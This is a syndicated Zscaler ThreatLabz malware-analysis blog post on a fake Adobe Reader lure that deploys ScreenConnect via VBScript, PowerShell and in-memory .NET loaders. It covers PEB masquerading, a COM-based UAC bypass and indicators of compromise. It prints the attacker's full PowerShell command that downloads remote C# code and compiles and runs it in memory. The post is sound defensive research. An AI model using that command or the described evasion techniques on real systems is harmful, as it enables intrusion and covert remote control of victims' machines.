IntroductionIn February 2026, Zscaler ThreatLabz discovered an attack chain where attackers used a fake Adobe Acrobat Reader download to lure victims into installing ConnectWise’s ScreenConnect. While ScreenConnect is a legitimate remote access tool, it can be leveraged for malicious purposes. In this blog post, ThreatLabz examines the various stages of this attack, from the download lure to the in-memory loader used to reduce on-disk artifacts that could be used for detection and analysis. Additionally, we dive into the attack chain’s obfuscation methods, such as using dynamic code that resolves method and type names at runtime rather than referencing them directly in the source.Key TakeawaysIn February 2026, ThreatLabz observed an attack chain that uses heavy obfuscation and direct in-memory execution to deploy ScreenConnect.The attack uses .NET reflection to keep payloads in memory only, which help it evade signature-based defenses and hinder forensic examination.A VBScript loader dynamically reconstructs strings and objects at runtime to defeat static analysis and sandboxing.Auto-elevated Component Object Model (COM) objects are abused to bypass User Account Control (UAC) and run with elevated privileges without user prompts.Process Environment Block (PEB) manipulation masquerades the loaders running Windows process, helping it blend in and avoid endpoint detection and response (EDR) alerts. Technical AnalysisIn this section, ThreatLabz breaks down each step of the attack chain. We begin with a high-level overview and then examine the lure, obfuscated scripts, in-memory payload execution, evasion techniques, and the final deployment of ScreenConnect.Attack chainThe figure below illustrates the attack chain observed by ThreatLabz.Figure 1: Attack chain for the ScreenConnect deployment.LureThe attack chain observed by ThreatLabz begins when a victim lands on a site that impersonates Adobe and offers a fake Adobe Acrobat Reader download as shown below. Figure 2: Fraudulent page impersonating Adobe.Upon accessing the page, the victim’s browser automatically downloads a heavily obfuscated VBScript file named Acrobat_Reader_V112_6971.vbs, which serves as a loader.VBScript loaderThe VBScript loader is highly obfuscated and intentionally tries to hide its behavior and artifacts to thwart static analysis. For example, rather than directly creating WScript.Shell, the VBScript loader dynamically constructs the object name using nested Replace() functions applied to a long, meaningless string. This prevents the name from appearing in cleartext so that it is not visible in the script at a glance. The resulting object is assigned to a randomly named variable. The VBScript loader then uses Run() to execute a follow-on command that is assembled from numerous Chr() calls with arithmetic expressions. Each call resolves to an ASCII character during execution. The parameters 0 and True run the command in a hidden window and force the script to wait until it completes. The figure below shows the downloaded VBScript loader payload.Figure 3: Downloaded VBScript payload masquerading as an Adobe Acrobat Reader installer.PowerShell staging/loaderThe VBScript loader launches PowerShell with -ExecutionPolicy Bypass. This allows the loader to run even if the victim’s system is set up with local policies that would typically block such executions from running. The PowerShell command creates a directory and suppresses output via Out-Null, downloads a file from Google Drive, sleeps for eight seconds, reads the file contents into memory, and sleeps briefly again. The PowerShell command then uses Add-Type with -ReferencedAssemblies to compile the in-memory C# source. Since -ReferencedAssemblies provides the libraries required for compilation, this means that the .NET can run without any of the results (i.e. the compiled payload) being written to disk.The PowerShell command is shown below. powershell.exe -ExecutionPolicy Bypass -command “”New-Item -ItemType Directory -Path ‘C:\Windows\Temp’ -Force | Out-Null; curl.exe -L ‘https://drive.google[.]com/uc?id=1TVJir-OlNZrLjm5FyBMk_hDjG9BV1zCy&export=download’ -o ‘C:\Windows\Temp\FileR.txt’;Start-Sleep -Seconds 8;$source = [System.IO.File]::ReadAllText(‘C:\Windows\Temp\FileR.txt’);Start-Sleep -Seconds 1;Add-Type -ReferencedAssemblies ‘Microsoft.CSharp’ -TypeDefinition $source -Language CSharp; [HelloWorld]::SayHello()””In-memory .NET loaderThe PowerShell command enables execution by compiling and loading the .NET loader entirely in-memory. This effectively prevents the payload from being written to disk where it can later be recovered and analyzed. The loader defines a HelloWorld class with a large byte array (Buff) that contains an embedded assembly. The loader then uses SayHello() and reflection to load the assembly via Assembly.Load(byte[]) and invoke the assembly’s entry point using EntryPoint.Invoke(). The figure below shows the C# code that embeds the compiled .NET assembly.Figure 4: Example of C# code embedding a compiled .NET assembly.ThreatLabz observed that the attackers tried to avoid static analysis by splitting up method and type names. For example, “Lo”+”ad” (i.e. “Load”) and “Ent”+”ryPo”+”int” (i.e. “EntryPoint”). The attackers also used dynamic loading which is a common technique employed during attacks. The following figure shows how the loader’s C# code uses reflection to load an embedded assembly into memory and execute its entry point.Figure 5: Reflection-based loading and execution of an embedded .NET assembly in-memory.To avoid being detected, the attackers carefully blend in with legitimate activity like normal system processes. For example, the loader implements a 64-bit Windows PEB-retrieval routine by allocating executable memory and staging a small x64 shellcode stub. The loader uses a custom resolver to locate NtAllocateVirtualMemory in ntdll.dll (which is often preferred over VirtualAlloc to reduce exposure to user-mode hooks and security monitoring). The shellcode is set up as a byte array. The byte array is copied into the allocated memory using a Marshal.Copy call. Once this is in place, a pointer to that buffer is returned so it can be executed. This allows the code to obtain the PEB address, as shown in the figure below.Figure 6: Code that obtains the memory address of the PEB.After retrieving the PEB address, the loader performs image-name spoofing (process masquerading) by rewriting PEB fields that store the process image path and name. This lets the process misrepresent its identity to user-mode tools and security controls that rely on PEB-reported metadata, thus helping the loader blend in with legitimate Windows binaries.The loader retrieves the process PEB and handles 32-bit (WOW64) and 64-bit layouts separately. It then accesses the loader data (Ldr) and walks InLoadOrderModuleList to locate the entry for the process image. Once the loader identifies it, it enters a critical section to safely modify the structure by overwriting FullDllName and BaseDllName to C:\Windows\winhlp32.exe / winhlp32.exe before releasing the lock. The figure below shows the code that modifies the PEB to masquerade the process identity.Figure 7: Code that modifies the PEB to masquerade the process identity.UAC bypass via elevated COM objectsThreatLabz observed that the attackers leveraged the loader to abuse Windows’ auto-elevated COM behavior. This gave the attackers elevated privileges without ever prompting the victim. The loader takes a COM class ID (CLSID) and interface ID, then constructs an elevation moniker (effectively “run as Administrator”). To hinder basic signature scanning, the moniker string is stored reversed and flipped at runtime. The loader then calls CoGetObject to request the elevated COM object. If this action is successful, the loader returns an interface that can be used for privileged actions by the attackers, otherwise it returns null. The figure below shows the code attempting to obtain an elevated COM object for privilege escalation.Figure 8: Code attempting to obtain an elevated COM object for privilege escalation.ScreenConnect deploymentThe final stage of the attack uses a PowerShell command, which decodes at runtime, that creates the C:\Temp directory (if not present). Inside that directory, the loader Uses curl.exe to download the ScreenConnect installer from x0[.]at/qOfN.msi (ScreenConnect.ClientSetup.msi). The PowerShell command then uses ShellExec to run the installer and launches it via msiexec. Once that finishes, the loader releases the COM object and the attack chain is complete. At this point, ScreenConnect is installed on the victim’s system. The PowerShell command is shown in the figure below.Figure 9: PowerShell command that downloads ScreenConnect.ClientSetup.msi and installs it via msiexec.ConclusionIn summary, ThreatLabz observed a multi-stage attack in which the loader(s) used several obfuscation techniques, such as reversing and splitting method names, dynamically compiled code, and also leveraged Windows COM–based auto-elevation to install ScreenConnect. Attackers continue to abuse trusted RMM tools such as ScreenConnect to perform malicious activities using their legitimate features, often bypassing antivirus and EDR detection.Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to the targeted attacks mentioned in this blog at various levels with the following threat names:VBS/Agent.COMVBS.Downloader.AgentW64/MSIL_Downldr.Y.gen!EldoradoMSIL_AgentSC.AFigure 10: Zscaler Cloud Sandbox report for the malicious VBScript file.Indicators Of Compromise (IOCs)IndicatorTypeE4B594A18FC2A6EE164A76BDEA980BC0VBS07720d8220abc066b6fdb2c187ae58f5VBSc36910c4c8d23ec93f6ae7d7a2496ce5VBS3EFFADB977EDDD4C48C7850C8DC03B13C# code with .NET assembly07F95FF34FB330875D80AFADCA3F0D5BC# code with .NET assemblyA7E5DBEC37C8F431D175DFD9352DB59FC# code with .NET assemblyC02448E016B2568173DE3EEDADD80149EXE3D389886E95F00FADE1EEA67A6C370D1MSIeshareflies[.]im/ad/Fraudulent page URLhttps://x0[.]at/qOfN.msiScreenConnect installer downloaddrive.google[.]com/uc?id=1TVJir-OlNZrLjm5FyBMk_hDjG9BV1zCy&export=downloadcccccdcjeegrekhllfijllutvbrrcifehuenfirtelitTXT download drive.google[.]com/uc?id=1pyyQRpUmH0YtPG-VqvMNzKUo9i8-RZ7L&export=downloadTXT downloaddrive.google[.]com/uc?id=1xuJR29UP5VcY6Nvwc7TDtt7fmcGGqIVc&export=downloadTXT download
*** This is a Security Bloggers Network syndicated blog from Security Research | Blog authored by Kaivalya Khursale (Zscaler). Read the original post at: https://www.zscaler.com/blogs/security-research/memory-loader-drops-screenconnect